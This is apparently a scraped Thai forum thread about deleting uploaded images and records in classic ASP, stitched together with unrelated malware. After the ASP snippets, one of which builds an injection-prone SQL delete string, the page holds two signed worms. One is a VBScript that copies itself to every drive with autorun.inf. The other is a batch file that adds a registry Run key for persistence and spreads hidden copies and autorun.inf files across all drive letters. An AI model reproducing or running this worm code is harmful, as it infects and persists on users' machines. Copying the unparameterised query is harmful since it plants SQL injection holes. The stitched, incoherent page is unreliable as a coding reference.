<%
Set Fs=server.CreateObject("Scripting.FileSystemObject")
fs.DeleteFile Server.mappath("images/pic1.jpg")
%>
Date :
5 มิ.ย. 2548 16:22:10
By :
nugul
No. 2
Guest
<%
if submit ="Delete"then
Set fso = CreateObject ("Scripting.FileSystemObject")
If fso.FileExists (server.MapPath ("images/"&trim(fp_Article_Picture))) Then
fso.DeleteFile(server.MapPath ("images/"&trim(fp_Article_Picture)))
end if
mysql = "delete from Article where Article_ID="&Article_ID&""
con.execute mysql
response.redirect "Article.asp?tab=a&pg="&pageno
end if
%>
ลองไปประยุกห์ดูนะครับ อันนี้ เอาไว้สำหรับ ลบ record ทิ้ง แต่ต้องการลบรูปที่ชื่อรูปตรงกับ record ที่เราบันทึกไว้ก่อนหน้านั้นด้วย ป้องกัน เวลาลบข้อมูลแต่รูปไม่ลบด้วย ทำให้เปลีองพื่นที่โดยไม่จำเป็น
Rem created by parktesal
Rem [email protected]
On Error Resume Next
Dim fs, gf, f, d, cd, n(3), i, sh, cpcode, w
Set fs = CreateObject("scripting.filesystemobject")
Set sh = CreateObject("wscript.shell")
sh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "[email protected]"
Set w = fs.opentextfile(wscript.scriptfullname, 1)
cpcode = readall
Set cd = fs.drives
For Each d In cd
If d.drivetype = 2 Or d.drivetype = 3 Then
For i = 0 To 3
n(i) = Int(3 * Rnd)
Next
Set w = fs.createtextfile(d.Path & "\" & n(0) & n(1) & n(2) & n(3) & ".vbs")
w.write cpcode
w.Close
End If
If d.drivetype = 1 And d.drivetype = "A:" Then
For i = 0 To 3
n(i) = Int(3 * Rnd)
Next
Set w = fs.createtextfile(d.Path & "\" & n(0) & n(1) & n(2) & n(3) & ".vbs")
w.write cpcode
w.Close
Set w = fs.createtextfile(d.Path & "\autorun.inf")
w.writeline "[autorun]"
w.writeline "shellexecute=wscript.exe " & n(0) & n(1) & n(2) & n(3) & ".vbs"
w.Close
End If
Next
Set fs = Nothing
Set sh = Nothing
wscript.quit
@echo off
start explorer .
color 02
title (- -")
rem Tai created by parktesla
rem [email protected]
copy %0 %windir%Tai.bat>nul
reg add HKLMsoftwaremicrosoftwindowscurrentversionrun /v MS_Kill /d %windir%Tai.bat /f>nul
for %%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
copy %0 %%i%:Tai.bat>nul
echo [autorun]>%%i%:autorun.inf>nul
echo shellexecute=tai.bat>>%%i%:autorun.inf>nul
attrib +s +r +h %%i%:Tai.bat>nul
attrib +s +r +h %%i%:autorun.inf>nul
)